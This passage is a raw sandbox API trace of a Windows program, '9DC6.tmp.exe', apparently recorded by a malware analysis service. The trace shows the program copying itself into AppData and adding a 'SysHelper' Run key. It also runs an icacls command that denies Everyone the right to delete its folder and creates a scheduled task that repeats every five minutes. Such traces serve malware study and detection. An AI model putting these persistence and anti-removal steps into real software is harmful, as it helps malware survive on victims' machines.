0x7b86250 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b864b8 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b86720 [0041.109] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18bc28 | out: phkResult=0x18bc28*=0x5b8) returned 0x0 [0041.109] RegQueryValueExW (in: hKey=0x5b8, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18bc24, lpData=0x18a350, lpcbData=0x18bc08*=0x400 | out: lpType=0x18bc24*=0x0, lpData=0x18a350*=0x0, lpcbData=0x18bc08*=0x400) returned 0x2 [0041.109] RegCloseKey (hKey=0x5b8) returned 0x0 [0041.109] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0041.110] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0041.110] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" " [0041.110] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" ", pNumArgs=0x18bbec | out: pNumArgs=0x18bbec) returned 0x7b6f1f8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0041.110] lstrcpyW (in: lpString1=0x189b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0041.110] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned="9DC6.tmp.exe" [0041.110] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18b350 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0041.110] UuidCreate (in: Uuid=0x18bb9c | out: Uuid=0x18bb9c) returned 0x0 [0041.110] UuidToStringW (in: Uuid=0x18bb9c, StringUuid=0x18bc30 | out: StringUuid=0x18bc30) returned 0x0 [0041.110] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x50) returned 0x7bb19f8 [0041.110] RpcMgmtStatsVectorFree (in: StatsVector=0x18bc30 | out: StatsVector=0x18bc30) returned 0x0 [0041.110] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="df0a63e6-8bd0-426e-adf4-794844f579bd" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd") returned 1 [0041.110] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd"), lpSecurityAttributes=0x0) returned 1 [0041.111] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xb0) returned 0x7b400a0 [0041.111] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xb0) returned 0x7b40158 [0041.111] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd", pMore="9DC6.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned 1 [0041.111] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe")) returned 0 [0041.111] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe"), bFailIfExists=0) returned 1 [0041.132] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18bc2c | out: phkResult=0x18bc2c*=0x5bc) returned 0x0 [0041.132] lstrcpyW (in: lpString1=0x18ab50, lpString2="\"" | out: lpString1="\"") returned="\"" [0041.132] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" [0041.132] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart" [0041.132] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart") returned 107 [0041.132] RegSetValueExW (in: hKey=0x5bc, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart", cbData=0xd6 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart") returned 0x0 [0041.132] RegCloseKey (hKey=0x5bc) returned 0x0 [0041.132] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x7b58248 [0041.132] SetLastError (dwErrCode=0x0) [0041.132] lstrcpyW (in: lpString1=0x188b50, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0041.133] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd" [0041.133] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0041.133] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18bb50*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18bbac | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18bbac*(hProcess=0x5b8, hThread=0x5bc, dwProcessId=0xb0, dwThreadId=0x7e8)) returned 1 [0041.144] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.231] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.237] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.253] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.268] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.284] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.299] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.315] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.330] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.346] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.362] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x102 [0041.377] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x1) returned 0x0 [0041.392] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b40158 | out: hHeap=0x260000) returned 1 [0041.392] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7bb19f8 | out: hHeap=0x260000) returned 1 [0041.392] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x7b58310 [0041.392] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x7b583d8 [0041.392] CoInitialize (pvReserved=0x0) returned 0x0 [0041.675] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0041.676] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc0) returned 0x7b584a0 [0041.676] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18bc14 | out: ppv=0x18bc14*=0x7120b00) returned 0x0 [0041.793] TaskScheduler:ITaskService:Connect (This=0x7120b00, serverName=0x18b6a0*(varType=0x0, wReserved1=0x7715, wReserved2=0xe0d2, wReserved3=0x7715, varVal1=0x5f, varVal2=0xc0), user=0x18b6b0*(varType=0x0, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1=0x0, varVal2=0xc8), domain=0x18b6c0*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), password=0x18b6d0*(varType=0x0, wReserved1=0x7b8, wReserved2=0xbbbc, wReserved3=0x18, varVal1=0x41720b, varVal2=0x260000)) returned 0x0 [0041.796] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72ac8 [0041.796] TaskScheduler:ITaskService:GetFolder (in: This=0x7120b00, Path="\\", ppFolder=0x18bc1c | out: ppFolder=0x18bc1c*=0x505ff98) returned 0x0 [0041.798] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72ac8 | out: hHeap=0x260000) returned 1 [0041.798] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72ac8 [0041.798] ITaskFolder:DeleteTask (This=0x505ff98, Name="Time Trigger Task", flags=0) returned 0x80070002 [0041.799] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72ac8 | out: hHeap=0x260000) returned 1 [0041.799] TaskScheduler:ITaskService:NewTask (in: This=0x7120b00, flags=0x0, ppDefinition=0x18bc20 | out: ppDefinition=0x18bc20*=0x7120b88) returned 0x0 [0041.801] TaskScheduler:IUnknown:Release (This=0x7120b00) returned 0x1 [0041.801] ITaskDefinition:get_RegistrationInfo (in: This=0x7120b88, ppRegistrationInfo=0x18bbf4 | out: ppRegistrationInfo=0x18bbf4*=0x7120c48) returned 0x0 [0041.801] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72af8 [0041.801] IRegistrationInfo:put_Author (This=0x7120c48, Author="Author Name") returned 0x0 [0041.801] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72af8 | out: hHeap=0x260000) returned 1 [0041.801] IUnknown:Release (This=0x7120c48) returned 0x1 [0041.801] ITaskDefinition:get_Principal (in: This=0x7120b88, ppPrincipal=0x18bbfc | out: ppPrincipal=0x18bbfc*=0x7120dd8) returned 0x0 [0041.801] IPrincipal:put_LogonType (This=0x7120dd8, LogonType=3) returned 0x0 [0041.801] IUnknown:Release (This=0x7120dd8) returned 0x1 [0041.801] ITaskDefinition:get_Settings (in: This=0x7120b88, ppSettings=0x18bc04 | out: ppSettings=0x18bc04*=0x7120cf8) returned 0x0 [0041.801] ITaskSettings:put_StartWhenAvailable (This=0x7120cf8, StartWhenAvailable=1) returned 0x0 [0041.801] IUnknown:Release (This=0x7120cf8) returned 0x1 [0041.801] ITaskSettings:get_IdleSettings (in: This=0x7120cf8, ppIdleSettings=0x18bbe8 | out: ppIdleSettings=0x18bbe8*=0x7120d68) returned 0x0 [0041.801] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72af8 [0041.801] IIdleSettings:put_WaitTimeout (This=0x7120d68, WaitTimeout="PT5M") returned 0x0 [0041.802] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72af8 | out: hHeap=0x260000) returned 1 [0041.802] IUnknown:Release (This=0x7120d68) returned 0x1 [0041.802] ITaskDefinition:get_Triggers (in: This=0x7120b88, ppTriggers=0x18bbe4 | out: ppTriggers=0x18bbe4*=0x7120cb8) returned 0x0 [0041.802] ITriggerCollection:Create (in: This=0x7120cb8, Type=1, ppTrigger=0x18bbf0 | out: ppTrigger=0x18bbf0*=0x7120e38) returned 0x0 [0041.802] IUnknown:Release (This=0x7120cb8) returned 0x1 [0041.802] IUnknown:QueryInterface (in: This=0x7120e38, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18bc0c | out: ppvObject=0x18bc0c*=0x7120e38) returned 0x0 [0041.802] IUnknown:Release (This=0x7120e38) returned 0x2 [0041.802] ITrigger:get_Repetition (in: This=0x7120e38, ppRepeat=0x18bbf8 | out: ppRepeat=0x18bbf8*=0x7120e88) returned 0x0 [0041.802] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72af8 [0041.802] IRepetitionPattern:put_Interval (This=0x7120e88, Interval="PT5M") returned 0x0 [0041.802] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72af8 | out: hHeap=0x260000) returned 1 [0041.802] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72af8 [0041.802] IRepetitionPattern:put_Duration (This=0x7120e88, Duration="") returned 0x0 [0041.803] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72af8 | out: hHeap=0x260000) returned 1 [0041.804] ITrigger:put_Repetition (This=0x7120e38, Repetition=0x7120e88) returned 0x0 [0041.804] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72af8 [0041.804] ITrigger:put_Id (This=0x7120e38, Id="Trigger1") returned 0x0 [0041.804] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72af8 | out: hHeap=0x260000) returned 1 [0041.804] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xc) returned 0x7b72af8 [0041.804] ITrigger:put_EndBoundary (This=0x7120e38, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0041.804] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b72af8 | out: hHeap=0x260000) returned 1 [0041.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18b6cc | out: lpSystemTimeAsFileTime=0x18b6cc*(dwLowDateTime=0xabdcf6f0, dwHighDateTime=0x1d55a45)) [0041.804] GetLastError () returned 0x0 [0041.804] SetLastError (dwErrCode=0x0) [0041.804] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x24) returned 0x7bb1528 [0041.804] GetLastError () returned 0x0 [0041.804] SetLastError (dwErrCode=0x0) [0041.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.804] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1f) returned 0x7bb30e0 [0041.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x7bb30e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x4) returned 0x7b19620 [0041.805] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b19620) returned 0x4 [0041.805] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b19620, Size=0x8) returned 0x7b19650 [0041.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0041.805] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x316d80 [0041.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x316d80, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b19650) returned 0x8 [0041.805] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b19650, Size=0xc) returned 0x7b72af8 [0041.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0041.805] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x37) returned 0x7baaea0 [0041.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x7baaea0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] GetLastError () returned 0x0 [0041.805] SetLastError (dwErrCode=0x0) [0041.805] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b72af8) returned 0xc [0041.806] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b72af8, Size=0x10) returned 0x7b72b28 [0041.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0041.806] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x7b7cc18 [0041.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x7b7cc18, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b72b28) returned 0x10 [0041.806] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b72b28, Size=0x14) returned 0x3021c0 [0041.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0041.806] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x31) returned 0x7baae20 [0041.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x7baae20, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.806] SetLastError (dwErrCode=0x0) [0041.806] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3021c0) returned 0x14 [0041.807] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3021c0, Size=0x18) returned 0x7bab898 [0041.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.807] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x3021c0 [0041.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3021c0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.807] GetLastError () returned 0x0 [0041.807] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bab898) returned 0x18 [0041.808] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bab898, Size=0x1c) returned 0x7bb3108 [0041.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.808] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x7bb1558 [0041.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x7bb1558, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 